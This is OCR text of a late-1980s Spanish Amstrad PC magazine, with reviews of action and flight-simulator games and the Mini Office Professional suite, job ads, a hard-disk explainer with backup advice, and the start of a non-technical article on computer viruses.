zenaguer contribuyeron 
en gran medida a ello. Eli¬ 
te se sumo pronto a ese 
movimiento poco amante 
de la paz y del projimo, y 
lanzo un programa bas- 


tante bueno: Combat. 
Tras el aparecieron otros 
muohos y aim hoy siguen 
haciendolo. como nos de- 
muestra el reciente ianza- 
miento de Ikari Warriors. 

A juzgar por las fotos 
del reverso de la caja. hu- 



biesemos jurado que el 
programa era una maravi- 
lla. Pero al cargarlo se da 
uno cuenta de que las po- 
sibilidades del PC han 
sido minimamente explo- 
tadas. De los dos discos 
que componen el pack, 
uno se dedica a la version 
EGA, algo mas cuidada, 
si bien todavia se nota 
que puede dar mucho 
mas de si. 

En principio se nos in¬ 
troduce en el tema con el 
tipico discurso patriotico: 
un general de las tropas 
USA en Centroamerica 
ha sido capturado por una 
banda de revolucionarios 
que los mantienen cauti- 
vo en su cuartel general. 
Antes de su captura. el 
general logrb mandar un 
SOS que fue recogido por 
nosotros y por nuestro jo- 
ven e inexperto ayudante. 
Asi que esta vez no habra 
que matar vietnamitas, 
sino revolucinarios cen- 
troamericanos. 

Una vez aterrizado 
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disparar a diestra, sinies- 
tra y de espaldas. 

El manejo de las teclas 
es algo dif/cil por la rapi- 
dez de la accidn, aunque 
la distribucidn de las mis- 
mas es bastanie comoda. 
Y por ultimo, el sonido es 
normal en todos sus as- 
pectos, tanto de musica 
como de efectos de dis- 
paro, pudiendo suprimirlo 
cuando lo deseemos, asf 
como detener momenta- 
neamente el juego, lo que 
results de bastante ayuda 
en un programs de tanta 
accion como este. 


1 




J. Ramis P6rez 


DISTRIBUTOR: mcm. 


nuestro avion en plena 
selva, nos disponemos a 
realizar la misibn suicida 
bien solos o acompaiia- 
dos por nuestro ayudante 
y copiloto, es decir, con 
uno o dos jugadores si- 
multaneamente. Decidido 
este pequerio detaile, po- 
dremos seleccionar el 
joystick o teclado, si bien 
la opcion de dos jugado¬ 
res solo podra practicarse 
si tenemos un joystick co- 
neciado. Tras una curiosa 
desintegracidn de la pan- 
talla de presentation nos 
vemos inmersos en plena 
selva, de donde empie- 
zan a salir guerrilieros por 


todos lados, armados 
hasta los dientes v dis- 
puestos a aiacarnos sin 
descanso. Granadas, ba- 
las y disparos de mortero, 
asi como minas flotantes 
nos acechan en todos si- 
tios, aunque nuestros re- 
cursos tampoco son es- 
casos, si bien si que son 
limitados, lo que nos obli 
gara a recoger armamen- 
to de los sol'd ados que va- 
yamos matando. 

Tambien podremos in- 
troducirnos en ciertos tan- 
ques situados en lugares 
estratbgicos, que nos per- 
mitiran avanzar con algo 
mas de seguridad, aun¬ 


que no sin vulnerabilidad. 
Tras cruzar rios, destro- 
zar bunkers, pasar puen 
tes y sobre todo acribillar 
tropas y mas tropas, ten- 
dremos aun que atrave 
sar puertas altamente 
custodiadas, lo que con- 
vierte la mislon en irnpo 
sible si no se tienen mu- 
chos reflejos y practica. 
Por otro lado, la exactitud 
de los disparos deja bas¬ 
tante que desear, sobre 
todo porque su alcance 
es limitado, lo que nos Ne¬ 
va a pensar que la mejor 
tecnica consiste en Ian 
zarse hacia adelante 
como loco y sin parar de 


LO MEJOR: La opcidn 
para dos jugadores simul- 
taneos. 

LO PEOR: Malos grafi- 
cos. 


ACCION 
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Procedentes de exposiciones y 
cambios. 

-Se alquilan 8.000 al mes 
( Ideales para cursillos ) 

Se venden 34.500 Ptas. 
(Impecables garantizados) 


Consultar utros modelos 
Telef. (91! 41613 02 (de 4 30 a 8 30) 


OPERACION CAMBIO 
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30.000 
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PCW 8256 
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ptas. 

CONSULTAR 
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NUEVO ORDENADOR 


Telef. (91) 4)6 13 02 (de 4.30 a 8.301 




































aviones que se pueden 
enconlrar. tanto en aero- 
bacia aerea como en ca- 
zas de combate. 

En principio hay que 
sehalar que el programa 
sigue la filosofia de Chuc 
Yeager, segun la cual los 
aviones vuelan solos, lo 
unico que ha de hacer el 
piloto es guiarlos. que no 
es poco. En nuestro caso, 
y para facilitarnos la la¬ 
bor, tendremos un cursor 
de direccion y otro de al- 
titud, asl como urio en el 
margen derecho encarga- 
do de marcarnos la velo- 
cidad que alcanzamos, o 
mas bien la potencia del 
aparato. Pero aqui viene 
el punto mas destacado 
de este simulador, aque 
llos que esten acostum- 
brados a estabilizar en e! 
horizonte los aviones y 
dejarlos a esa altura con 
una facilidad increlble, 
que no se crean que en 
esle programa tambien lo 
podran hacer: aqui no po- 
dran estabilizar el avion, 
al menos con total preci¬ 
sion, lo que impedira te- 
ner un solo momento de 
respiro. 

En las opciones de en- 
senanza habremos de se- 
guir a un avion guia. el de 
nuestro instructor, que 
nos senalara el tipo de 
rnaniobra a realizar y de- 
jara un rastro de bolas de 
humo blancas que debe- 
remos seguir, Una vez fi- 
nalizada la rnaniobra po- 
dremos observar nuestro 
vuelo en tres graficos di- 
ferentes en comparacion 
con el vuelo seguido por 
el avion guia. Una imagen 
de nuestro instructor nos 
dara idea de como lo he- 
mos hecho, dandonos 


A mayoria son de 
combate y con 
aviones superso 
nicos, preferible- 
mente F-16 6 F-18, pero 
pocos hay que se dedi- 
quen a ensenarnos a vo¬ 
lar con un realismo seme- 
jante al de este programa, 
con un instructor con el 
renombre de Chuck Yea¬ 
ger, ex piloto de pruebas 
y que conoce con detalle 
todos los trucos de los 
mas variados modelos de 


PSP 


LI 


Muchos son ya los simuladores 
de vuelo disponibles para PC y 
algunos incluso figuran entre 
los mejores programas que se 
pueden encontrar para 
ordenadores personales. 
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unas recornendaciones al 
respecto. Pero si somos 
novatos, podremos sim- 
plemente observar las 
evoluciones de nuestro 
maestro en la realizacion 
de las maniobras, con 
unas descripciones simul 
taneas de cdmo manejar 
los controles. 

Son muchas las posibi- 
lidades a que tenemos 
acceso en los menus del 


programs. For ejemplo, 
podremos observar nues¬ 
tro avion desde diferentes 
posiciones: desde un sa- 
telite, desde la torre de 
control, desde el interior 
de la cabina en las dife¬ 
rentes vistas o desde el 
exterior del aparato, para 
tener un perfecto dominio 
de su situacion. Tambien 
contamos con un zoom 
en las vistas, ello nos per- 


mitira dominar amplia- 
mente el recorrido que se 
nos haya marcado, o ex- 
perimentar durante el 
vuelo de demostracion a 
cargo de nuestro instruc¬ 
tor. 

Los graficos son es- 
quematicos, y a la larga 
bastante monotonos, lo 
que le resta bastante 
adictividad al juego, si 
bien se compensa con la 
aocon trepidante que su- 
pone el seguir un avion 
que se pierde continya- 
mente, en zig-zag alrede- 
dor de inmensos cubos y 
piramides, en Loopings, 
Ochos cubanos o en 
carreras aereas par la 
base, siendo esta ultima 
el objetivo ultimo a conse- 
guir con nuestro apren- 
dizaje. 

El programa se entrega 
acompanado por un am- 
plio manual que incluye 
descripciones de princi- 
pios generates de aero- 
nautica y del funciona- 
miento basico de los dis- 
tintos aviones. En fin, es 


un programa de simula- 
cion que aporta un punto 
mas de realismo tecmco 
en el vuelo. ya que no en 
lo que a graficos se re- 
fiere. 

J. Ramis Perez 

10 MEJOR: El programa 
nos mantiene en constan- 
te tension. 

LO PEOR: Los graficos 
terminan resultando mo¬ 
notonos. 

DISTRIBUTOR: Dro 

Soft. 


ACCIO'J 
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AtTIfT 

PROFESSIONAL 


U NA vez instalado Mini Office 
en el disco duro, cargamos 
el Administrador, que, ade- 
mas de permitimos llamar a los de- 
mas modulos e instalar otros, tam- 
bien nos ayuda en la instalacion de 
la impresora unidad de disco por 
defecto y mampulacion de ficheros. 


Procesador de 
textos y corrector 
ortografico 


Precedido por un merecido prestigio 
conseguido gracias a las versiones 
para CPC y PCW, Mini Office 
Professional llega ahora al mundo de 
los compatibles PC* Como ya es 
habitual en todos los paquetes 
integrados, este producto de Database 
Software ofrece procesador de textos, 
hoja electronica, base de datos, 
corrector ortografico y 
comunicaciones. 


Tres son las opciones que nos 
brinda el modulo de tratamiento de 
textos al comenzar a utilizarlo: 
crear un documento nuevo, editar 
uno existente o imprimir. Si crea- 
mos un nuevo texto, nos pedira el 
nombre con el que lo vamos a de- 
signar (jhasta 30 caracteresl), las 
iniciales del autor y las del opera- 
dor, ademas de la letra correspon- 
diente a la unidad de disco donde 
lo almacenara. Una vez introduci- 
dos estos datos, pasamos a la pan- 
talla de edicidn donde podremos 
teclear el texto deseado, eso si, con 
algunas opciones que nos ayuda- 
ran en nuestro trabajo. 

Una de estas opciones es el for- 
mato de la pagina, al que accede- 
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Sgrtl Checker 
3-0 Spreedsheei 
Data [taag~i> 
Cowunicatiom 
Wlesdetx to »!ctl 

Configuratar 
File Menager 
Herge Processor 
Set Printer 
Set Default Drive 
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El administrador permite ejecutar e instalar los restantes modules del 
programa. 
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El modulo de tratamiento de textos en accion. 


mos pulsando F2 y en la que ten- 
dremos la oportumdad de cambiar 
los margenes de la pagina, numero 
de lineas, justificacion o centrado 
de lineas y seleccion de modes de 
impresion. 

Existe tambien la posibilidad de 
cambiar al modo llamado Grafico. 
que permite dibujar recuadros alre- 
dedor del texto utilizando unica- 
mente las teclas de cursor, ayudan- 
do asi a realzar la presentacion de 
determinados parrafos. 

Las demas opciones permitidas 
son las tipicas de cualquier proce- 


sador de textos, es decir, reprodu- 
cir parrafos, centrar texto, buscar 
una palabra, subrayar. almacenar, 
etcetera. Nos llamo la atencion el 
modo de insercion, que borra todo 
el texto desde la posicion del cur 
sor hasta el final de la pantaila. 
Cuando acabamos de insertar y 
pulsamos Enter vuelve a aparecer 
a partir del lugar donde insertarnos 
nosotros. Esto es bastante incomo- 
do si debemos insertar mucho, aun- 
que tiene la ventaja de ser bastan 
te rapido, pues no tiene que mover 
todo el texto hacia la derecha. 


PC 


Otra ayuda interesante es la exis¬ 
tence de 7 formatos de fecha y 2 
de hora que el propio programa se 
ocupa de sustituir con la actual. 
Ademas, podemos reemplazar de- 
terminadas variables introducidas 
en un texto por datos de un fiche- 
ro, tanto ASCII como de la hoja 
electronica o la base de datos, lo 
que nos permite imprimir correo 
personalizado (mailing) y etiquetas. 

Para usar el diccionario es nece- 
sario haber grabado antes los do- 
cumentos. Podemos elegir el dic¬ 
cionario a utilizer, aunque. a no ser 
que hayamos creado uno propio, 
solo podremos manejar el que in- 
cluye Mini Office, que consta de 
27.000 terminos. Una vez seleccio- 
nado el diccionario, pasamos a ele¬ 
gir el fichero a corregir. Al encon- 
trar una palabra que no este en el 
diccionario, podremos elegir entre 
anadirla, corregirla selectivamente 
o corregirla globalmente. Ai finalizar 
cada documento, nos mostrara el 
numero de palabras que contenia, 
el de palabras correctas y el de pa¬ 
labras no encontradas. 


Hoja electronica 

La hoja electronica de Mini Offi¬ 
ce dispone de 255 filas por 255 co- 
lumnas en cada una de las 255 ho- 
jas posibles, lo que da un total de 
mas de 6 millones y medio de cel- 
das, mas que suficiente para todo 
tipo de aplicaciones. Uno de ios 
puntos mas destacables de este 
metodo de pagination de las hojas 
es el paso de una a otra, que se 
realiza de modo casi instantaneo. 
Es posible asi efectuar comparacio- 
nes entre las distintas hojas sin ra- 
lentizar el proceso. 

Los comandos se introducer! de 
modo similar ai utilizado en la famo- 
sa hoja Lotus 1-2-3, es decir, pulsan¬ 
do /, con b que aparece una lista 
de eilos en la parte inferior de la 
pantaila. Si pulsamos ahora la ini- 
cial de uno cualquiera de los co¬ 
mandos, este se activara y realiza- 
ra su cometido. Por ejemplo, si te- 
cleamos /F podremos cambiar el 
formato de una celda o columna 
para que las entradas numericas 
aparezean con determinado nume¬ 
ro de decimales, en notacion deci 
mal, o para las alfanumericas ajus- 
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Select Function and Press ENTER, or Frees ESC to Exit 
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Menu principal de la base de datos. 
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Functions: 


Menu de opciones correspondiente al modulo de comunicaciones. 


tadas a la derecha o izquierda, cen- 
tradas, etcetera. 

Los restantes comandos permi 
ten, entre otras, las siguientes ac- 
ciones: borrar una celda o grupo de 
elias. borrar una pagina entera, qui- 
tar una fila, columna o pagina, de- 
finir ancho de las coluninas, orde- 
nacion por columnas, imprimff un 
rango, copiar un grupo de celdas y, 
por supuesto, cargar y almacenar 
ficheros. 


Disponemos tambien de una se- 
rie de funciones para operar con 
valores numericos. Podemos obte- 
ner el valor absolute, la media, par¬ 
te entera, maximo, minimo y el que 
mas se repite en una lista, un valor 
aleatorio, etc. Ademas, se dispone 
de funciones trigonometricas, loga- 
ritmicas y financiers, como la tasa 
de inieres efectivo, valor future, va¬ 
lor neto presenie, etcetera. 

El manual, al que no nos habia- 


mos referido hasta el momento, 
esta algo desordenado en el apar- 
tado referente a la hoja electronics, 
aunque esperamos que este defec- 
to se subsane en la version es- 
panola. 


Base de datos 

El primer paso que debemos dar 
para empezar a trabajar con la 
base de datos es crear la estructu- 
ra, a la que debemos dar un nom- 
bre de hasta 30 caracteres. Para di- 
senarla, nos ayudamos de las te- 
clas de funcion: FI afiade lineas, 
F2 las borra y F3 crea campos y ios 
nombra. Dentro de Ios campos 
existen cinco tipos segun su conte- 
nido: alfanumericos, numdricos, di- 
nero, especiales y de texto. Dentro 
de Ios numericos tenemos tres op¬ 
ciones: enteros, de punto fijo y en 
notacion cientifica. En especiales 
encontramos 4 formatos para fe- 
cha, hora, banderas (campos con 
un solo caracter. por ejemplo S o 
N) y telefono. 

A continuacion procedemos a de- 
signar Ios campos clave, es decir, 
aquellos en Ios que posteriormente 
se basaran las busquedas u orde- 
naciones. Puede haber varies cam¬ 
pos clave, pero como minimo debe 
existir uno. Tras este ultimo paso, 
si la estructura disenada es correc¬ 
ts, se pueden introducir Ios datos y 
crear la base. 

Dentro de la entrada de datos las 
teclas de funcion tienen una mision 
asociada. por ejemplo, FI acepta el 
registro creado. F2 lo borra, F4 
pasa al registro posterior, F5 y F6 
van a la pantalla posterior y ante¬ 
rior respectivamente, F7 nos permi¬ 
ts buscar por el carnpo clave y FI 0 
da acceso a un submenu que per- 
mite almacenar la base de datos en 
disco, borrar Ios datos introducidos 
o seleccionar otro carnpo ciave. 

Tambien nos es posible imprimir 
la base de datos eligiendo Ios cam¬ 
pos que deseamos o solamente las 
caraceristicgas como tipo y nombre 
de Ios campos, longitud y claves. 
Otra opcion interesante es la posi- 
bilidad de pasar un fichero de base 
de datos a formato DIF, lo que nos 
permite utilizarlo en otros progra- 
mas que*tengan la opcion de obte- 
ner ficheros en este formato. 
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Comunicaciones 


Y, por fin, llegamos a la ultima 
aplicacion incluida en Mini Office, 
las comunicaciones. Para sacar 
provecho de ella necesitamos un 
modem. El programa aporta las ve- 
locidades mas usuales: 300, 600, 
1200, 2400, 4800, 9600, 19200 y 
23040. En cuanto al numero de bits 
de datos podemos especificar 7 u 8 
con paridad par, impar o ninguna. 
Por supuesto, el modulo de comu¬ 
nicaciones soporta la utilizacion de 
modems compatibles o no con Ha¬ 
yes y la emulation de distintos ti- 
pos de terminales, entre ellos 
VT100/102, VT52. ANSI, TTY y 
Viewdata. Ademas, funciona con 
cualquier tipo de tarjeta grafica, 
Hercules, CGA o EGA. Para la 
transmision de ficheros utiliza el 
protocoio Xmodem, posiblemente 
el mas conocido de todos los exis- 
tentes. 



Compania multinational, lider en verv 
tas en el sector informtiico en Europa, pre- 
cisa para su Departamertto Tecnico: 


JEFE DE PROYECTOS 
INF0RMATIC0S 


Para la supervision, desarrollo y ejecucion 
de p'oyectos informaticos basados en solucio- 
nes con PC's para grandes empresas. (Rel. JP) 

Se requiere: 

• Titulacion Superior (Informatica, Ingerieria 
o similar). 

• Experience demostrable de 2 anos en 
puesto similar. 

• Conocimientos de Ingles. 

• Dominio de PCs y su entomo. 


TECNICOS DE SOPORTE 


Para las delegaciones de MADRID, 
MALAGA, VALENCIA y LA CORUNA, tendran 
como mision dar soporte tecnico tanto a nivel 
hardware como software a la red de distribution. 

Para nuestras Delegaciones de: 

MADRID (Ref.TSM) 

MALAGA (Ref. TSA) 

VALENCIA (Ref.TSV) 

LA CORUNA (Ref. TSC) 


La option mas interesante es la 
inclusion de un editor de textos que 
hace posible crear ficheros de co- 
mandos. A ellos esta dedicado gran 
parte del capitulo de comunicacio¬ 
nes del manual, que explica perfec- 
tamente todas las posibilidades y 
caracterlsticas de los comandos. 

Mini Office supone la integracion 
de 5 aplicaciones concretas en un 
mismo entomo, lo que simplifies el 
aprendizaje del programa y ofrece 
una serie de posibilidades que faci- 
litan las tareas cotidianas de una 
oficina o incluso un particular. Se 
echa en falta una mayor conexion 
entre los modulos para por ejem- 
plo. poder marcar desde el modulo 
de comunicaciones los numeros de 
telefono de los clientes registrars 
en la base de datos. Por ultimo, se- 
nalaremos que la version probada 
por esta redaccion fue la mglesa y 
que, al menos por el momento, no 
existen muchas posibilidades de 
que se traduzca al Castellano. En 
este aspecto son mas afortunados 



Se requiere: 

• Titulado superior (Ingenieria o 
informatica) o medio 

• Edad 23 - 30 arios. 

• Experience en puesto similar. 

• Amplios conocimientos de PC's 
compatibles y de su entorno. 


TECNICOS DE 
MANTENIMIENTO 
Y CONTROL DE CALIDAD 


Para nuestro Laboratory Central, que 
reaiicen labores de aralisis, reparation, y con¬ 
trol de calidad de equipos electronicos, asi como 
de formation a la red de Asistencia Tecnica. 

Tecnico de Microinformalica (Ref. TM) 
Tecnico de Audio/Video (Ref. TAV) 
T6cnico de Control de Calidad (Ref. TC) 

Se requiere: 

• Titulacion m inima a nivel de FP2 en 
electronica. 

• Experience en puesto similar. 

• Conocimiento en ordenadores PC's y/o 
equipos de Audio/Video. 


los usuarios de los PCW que po 
dran adquirir el programa en es- 
pahol. 


Miguel A. Hernandez 


Paquete integrado con 
modulos de tratamiento 
de textos, hoja de calculo, 
base de datos, comunica¬ 
ciones y corrector ortogra- 
fico. 

Configuration: Amstrad 
PC o compatible con, al 
menos, una unidad de 
disco. Recomendable im- 
presora. 

Distribuidor: Power Line 
Monte Aldabe, 15, 1.° A 
Telef. (943) 61 51 47 
20300 Irun (Guipuzcoa) 



RESPONSABLE DE 
COMPRAS DE REPUESTOS 


Se encargara de realizar las previsiones 
sobre consumos y compras de repuestos. 

(Ref. RC) 

Se requiere: 

• Titulacidn media (Electronica o 
Informatica). 

• Experiencia en control de stocks. 

• Conocimientos de componentes 
electronicos. 

• Ingles hablado y escrito. 

Se valorar^: 

Conocimientos de MS-DOS y DBase 111. 

Para todos los puestos, se ofrece: 

• Incorporation en empresa lider en su 
sector. 

• Amplias perspectivas profesionales. 

• Sueldo a convenir, segun experiencia. 

Interesados enviar curriculum vitae, indi- 
cando referenda y pretensiones economicas a: 

AMSTRAD ESPANA 

DPTO. TECNICO (Srta. Rosa Amat) 

Cl Aravaca, 22 
28040 MADRID 
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am NECESIDAD? 


Pocos acontccimientos tienen mayor trascen- 
dcncia para cl usuario dc un PC quo la insta- 
lacion en su ordcnador dc un disco duro. Con 
prcstacioncs dc rclocidad y capacidad dc al- 
maccnamicnto niuy supcriorcs a los disquctcs 9 
los discos cluros agilizan cl acccso a los datos 
y pcrmitcn la utilizacion dc programas dc 
gran complcjidad . 


S SIN embargo pocos usuarios 
saben exactamente que son 
los dicos duros y c6mo funcionan, 
lo que no deja de ser lamentable, 
puesto que el conocimiento de es- 
tos dispositivos redunda en una 
mayor eficacia a la hora de trabajar 
con ellos. 

Los disquetes o «floppy discs», 


que se encuentran en todos los 
compatibles PC, fueron desarrolla- 
dos a partir de los discos duros que 
se utilizaban en los mainframes o 
grandes ordenadores. Ambas tec- 
nologias se basan en los impulses 
magneticos para conservar la in- 
formacidn. 

Hoy en dia, todo el mundo esta 


familiarizado con los equipos de 
grabacion y reproduccion de video 
y audio, en los que una senal que 
varia constantemente se almacena 
como campo magnetico variable en 
una cinta de piastico recubierta de 
material magnetico. Los ordenado¬ 
res emplean senales binarias, que 
unicamente pueden tomar los valo- 
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res cero y uno, y la informacion se 
registra en forma de impulsos mag- 
neticos. Per consiguiente, los pro- 
gramas y datos utilizados por el or- 
denador podrian almacenarse en 
cintas similares a las de cassette o 
video. Pero las cintas tienen un gra- 


como respuesta a este problema, 
permitiendo el acceso rapido a la 
informacion. Su modo de funciona- 
miento es similar al de los discos 
musicales, aunque en estos los da¬ 
tos —el sonido— se registran en 
una pista espiral continua, mientras 


te en un disco de material plastico, 
generalmente miiar, envuelto en 
una pelicula de materiales magne- 
ticos, como el hierro o el oxido de 
cromo. Un disco duro, sin embargo, 
esta formado por uno o mas discos 
de aluminio, recubiertos igualmen- 
te por materiales magneticos. 
Cuando se utiliza un disquete, la 
cabeza de lectura'escritura se mue- 
ve sobre el disco, en contacto con 
su superficie. Por el contrario, en 
los discos duros la cabeza se des- 
plaza sobre un colchon de aire, 
como si de un «hovercraft» se tra- 
tase, sin entrar nunca en contacto 
con la superficie del disco. Este fe- 
nomeno se debe a un efecto aero- 
dinamico producido por la gran ve- 
locidad de giro del disco. 

La cantidad de datos que se p'ue- 
den almacenar en un disco depen- 
de de la separacion entre los impul¬ 
sos magneticos en el momento de 
la grabacidn, que, a su vez. esta li- 
miiada por el tipo de material mag- 
netico, el tamano de la cabeza de 
lectura'escritura y la distancia de 
esta a la superficie del disco. La 
evolucion de los discos duros a lo 
largo del tiempo se ha centrado en 
estos aspectos, consiguiendose un 
notable avance. La densidad de da¬ 
tos en los discos duros se ha dupli- 
cado por termino medio cada 2-4 
ahos. 

Los discos duros de los antiguos 
mainframes eran, como los disque- 
tes, removibles. y debian mantener- 
se en condiciones ambientales de 
extrema iirnpieza. Actualmente, la 



Disco duro en tarjeta para los Amstrad PC y compatibles. 

ve inconveniente: para acceder al que en los discos de ordenador se 
lugar en que se encueniran los da- utilizan varias pistas circulares con- 
tos deben ser rebobinadas. centricas. 

Los discos magneticos surgieron Un disquete consiste basicamen- 
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distancia entre la cabeza y el disco 
es tan pequena que rii siquiera las 
mejores condiciones ambientales 
permiten la extraccion del disco. El 
espacio existente entre la cabeza y 
la superficie del disco es inferior al 
tamaiio de una particula de polvo o 
de humo. Para garantizar su funcio- 
namiento, los discos auras estan 
hermeticamente cerrados en un 
compartimento estanco que contie- 
ne un gas inerte ligeramente presu- 
rizado. Este sistema se conoce 
como tecnologia Winchester por 
ser este el nombre de la primera 
empresa que la empleo. Si el espa¬ 
cio entre la cabeza y el disco se re- 
dujera mas aun, Ilegaria un me¬ 
mento en que impediria el paso de 


las moleculas de gas. Aunque exis- 
ten diversos procedimientos para 
paliar este problema, probablemen 
te sea mas acertado pensar que la 
densidad de datos en los discos du 
ros se halla ya cerca de su limite fi 
sico y que en el futuro, para conse 
guir mayores capacidades de aima- 
cenamiento de datos. se uiilizaran 
los discos opticos. 

Como ya dijimos anteriormente, 
en los discos duros la informacion 
se graba en pistas concentricas. 
Las pistas, que pueden contener 
una enorme cantidad de datos, se 
dividen en sectores. Por consi- 
guiente, el sector es la unidad de 
almacenamiento mas pequena, lo 
que significa que aun cuando solo 


se desee grabar un unico caracter, 
este ocupara un sector completo. 
Como en los PC el tamano de es- 
tos es de 512 bytes, nos encontra- 
remos con 511 bytes desperdicia- 
dos. De hecho, el espacio desapro- 
vechado es mayor, puesto que la 
unidad estandar de almacenamien¬ 
to de datos es el cluster, formado 
por dos sectores. En cualquier 
caso, siempre encontraremos una 
diferencia entre la longitud de un fi- 
chero y el espacio que este ocupa 
realmente en el disco. Por otra par¬ 
te, el numero de sectores en las 
pistas internas es el mismo que el 
de las pistas externas, mas aleja- 
das del centra. Esto supone otro 
pequeno derroche de espacio, ya 
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PC 


que las pistas externas son consi- 
derablemente mas largas que las 
nternas 

Formateado y 
directories 

Antes de empezar a trabajar con 
un disco duro es necesario forma- 
terarlo proceso durante el cual se 
crean las senates magneticas que 
establecen la division del disco en 
pistas y sectores. Al comrenzo de 
cada sector se graba una cabecera 
con el numero de pista y de sector, 


que servira posteriormente para ve- 
rificar que se accede al sector 
correcto 

El programa de formateo se en- 
carga de verificar cada sector: si 
detecta problemas en alguno de 
ellos los marca como defectuosos, 
de forma que a partir de ese instan 
te el sistema operativo no volvera a 
utilizarlos Es muy frecuente que 
durante el proceso de formateado 
se localicen varios de estos secto¬ 
res confhctivos, 

Tras formatear el disco, el siste¬ 
ma operativo se encargara en lo su- 
cesivo de decidir el lugar exacto al 
que iran a parar los ficheros; el 


usuario unicamente debera preocu- 
parse de determinar el nombre con 
que desea conservarlos Como 
anecdota mencionaremos que 
cuando se borra un fichero la infor- 
macion que este contenia no desa- 
parece del disco sino que simple- 
mente los sectores que ocupaba 
se marcan como libres. Gracias a 
este peculiar comportamiento del 
sistema operativo resulta posible 
recuperar ficheros borrados, siem 
pre que el espacio que ocupaban 
no haya sido sobreescrito por un 
nuevo fichero. 

Ei constante borrar y crear fiche¬ 
ros puede llegar a producir una 


n 
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Archive 


Arch ive 


Archive 


Unidad de backup de disco duro en cinta (streamer). 


fragmentation excesiva del espacio 
disponible, con ficheros repartidos 
en pequenos segmentos a lo largo 
de todo el disco. La consecuencia 
es una ralentizacion en la lectura de 
los ficheros, puesto que la cabeza 
debe saltar constantemente de una 
pista a otra. Existen diversas utili- 
dades (Mace Utilities, Disk Organi¬ 
zer, PC Tools, Norton Utilities, ..), 
capaces de resolver este problema, 
compactando el contenido del dis¬ 
co de forma que todos los “dus¬ 
ters” de un mismo fichero se en- 
cuentren juntos. Pero quien no de- 
see adquirir ninguno de estos pro- 
gramas puede utilizar un procedi- 
miento alternativo: copiar todos los 
ficheros en disquetes, reformatear 
el disco duro y copiar de nuevo el 
contenido de los disquetes en el 
disco duro. Este metodo es mucho 
mas engorroso. pero tienen la ven- 
taja de que se termina siempre con 
una copia de seguridad o “back¬ 
up” del disco duro. 

Cuidados del disco 
duro 

La imporiancia de realizar “back¬ 
ups” periodieos del disco duro no 
se aprecia nunca suficientemente 
hasta que no se padece algurio de 
los inevitables accidentes que pue- 
den destruir la information almace- 
nada en ei disco. Entre dstos, el 
mas temido es el aterrizaje de las 


cabezas, que se produce cuando 
las cabezasdelectura/escr'itura en- 
fran en contacto con la superficie 
del disco. dahando parcialmente su 
recubrimiento magnetieo. El aterri¬ 
zaje accidental de las cabezas so- 
bre el disco se puede evitar toman- 
ao algunas precauciones. Es con- 
veniente saber, por ejemplo, que si 
el ordenador recibe un golpe, siem¬ 
pre sera mucho mas peligroso 
cuando el disco duro esta girando 
(es decir, cuando el ordenador esta 
encendido) que cuando esta para- 
do. Por otra parte, la mayoria de los 
discos duros cuentan con una po- 
sicion de <<aparcado» en la cual las 
cabezas se situan en un lugar don- 
de los inevitables golpes que se 
producen durante el transporte del 
disco no tienen ninguna repercu- 
sion. Asi pues, es imprescindible 
utilizar el cornando PARK (o sus 
equivalentes) antes de realizar 
cualquier traslado del ordenador. 

Otro peligro que acecha a los dis¬ 
cos duros es el aterrizaje de las ca¬ 
bezas a consecuencia de los codes 
y picos de tension en el fluido elee- 
trico. Una fuente de alimentation 
ininterrumpida es la respuesta ade- 
cuada a esta amenaza. 

Pero por muchas precauciones 
que adoptemos, nunca podremos 
estar seguros de no sufrir algun ac- 
cidente, de modo que mas vale se- 
guir los consejos de los expertos y 
efectuar copiasde seguridad con la 
mayor frecuencia posible. El siste- 


ma mas simple de «back-up» con- 
siste en utTizar las instrucciones 
BACKUP y RESTORE del DOS, 
que realizan un «back-up» total o 
parcial del disco duro sobre disque¬ 
tes. Existen en el mercado otros 
programas (Turbo Back-up, Fast- 
back...) que aventajan a BACKUP 
y RESTORE en velocidad y presta 
ciones, asi como otros procedi- 
mientos alternatives de «back-up”. 
Uno de los mas comunes, denomi 
nado habitualmente “Streamer”, 
emplea un cartucho de cinta de alta 
densidad. Tambien existen siste- 
mas capaces de utilizar los apara- 
tos de video domesticos para gra- 
bar en la cinta el contenido del dis¬ 
co duro. Y, por supuesto, siempre 
se puede guardar un “back-up» en 
un segunda unidad de disco duro, 
option que result a cad a vez mas 
atractiva dada la constante reduc¬ 
tion del precio de estos disposi- 
tivos. 



Lcs lectcres interesados en 
obtener mas informacion sobre 
los discos duros pueden consul- 
far kts arttevtas Twfeta 

20 Mfc* y «Ttndcn Business 
Card 21», fDulollcades respecti- 
vamente en los numeros 21 y 2? 
de AMSTRAD USER, en los que 
se pasa revista a sondes discos 
duros en tarjeta para los Ams- 
trad PC y ccmpatikles. 
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VIRUS 


mt 


Si un dia nuestro ordenador comienza a hacer cosas raras, 
lanza un ultimatum o decide dejar de trabajar es mas que 
posible que haya contraido un virus 


U NO de los temas de moda y 
que mas temores provoca 
entre los usuarios de com ¬ 
patibles PC es, sin duda, el de los 
virus. Una informacidn incompleta, 
cuando no erronea, la propagacion 
de bulos y. mas frecuentemente, el 
desconocimiento absolute del 
tema, son las principales causas de 
este temor. A estos faotores habria 
que anadir, ademas, el interes de 
las casas de software en acrecen- 
tar el panico a los virus con el fin 
de evitar la difusion de copias ne¬ 
gates de sus programas. Para ter- 
minar con este mar de dudas, ru- 
mores y preocupaciones intentare- 
mos aclarar que es un virus, como 
actua y como se le combate. 


La historia de los virus no es en 
absolute nueva, y puede asegurar- 
se que nacieron casi al mismo tiem- 
po que la informatica, aunque al- 
canzaron su maximo apogeo con el 
advenimiento de los ordenadores 
personales. Sin embargo, ha sido 
hace unos cuantos meses cuando 
se ha comenzado a hablar de ellos 
en todas partes, coincidiendo con la 
aparicion de uno de ellos en las me- 
morias de miles de ordenadores is- 
raelies. El virus estaba programado 
para borrar toda la informacidn a la 
que tuviera acceso en la fecha del 
viernes 13 de mayo de 1983, coin¬ 
cidiendo con el 40 aniversario del 
Estado de Israel. Tras algunas in- 
vestigaciones se descubrio que 


procedia de Estados Unidos, si bien 
su autor sigue siendo desconocido. 

Son muchas las anecdotas que 
se pueden contar acerca de los vi¬ 
rus ya que sus efectos suelen ser 
tan sonados como silenciosa ha 
sido antes su incubacion, Uno de- 
ellos, creado por un grupo de hac¬ 
kers suizos, imprimia en la pantalla 
el siguiente mensaje: «Algo ex- 
traordinario acaba de ocurrir, tu or¬ 
denador esta vivo y, aun mejor, al- 
gunos de tus diskettes estan infec- 
tados por un virus». Pero qu'izas 
uno de los mas conocidos sea el 
clasico «Cookie» (galleta), que se 
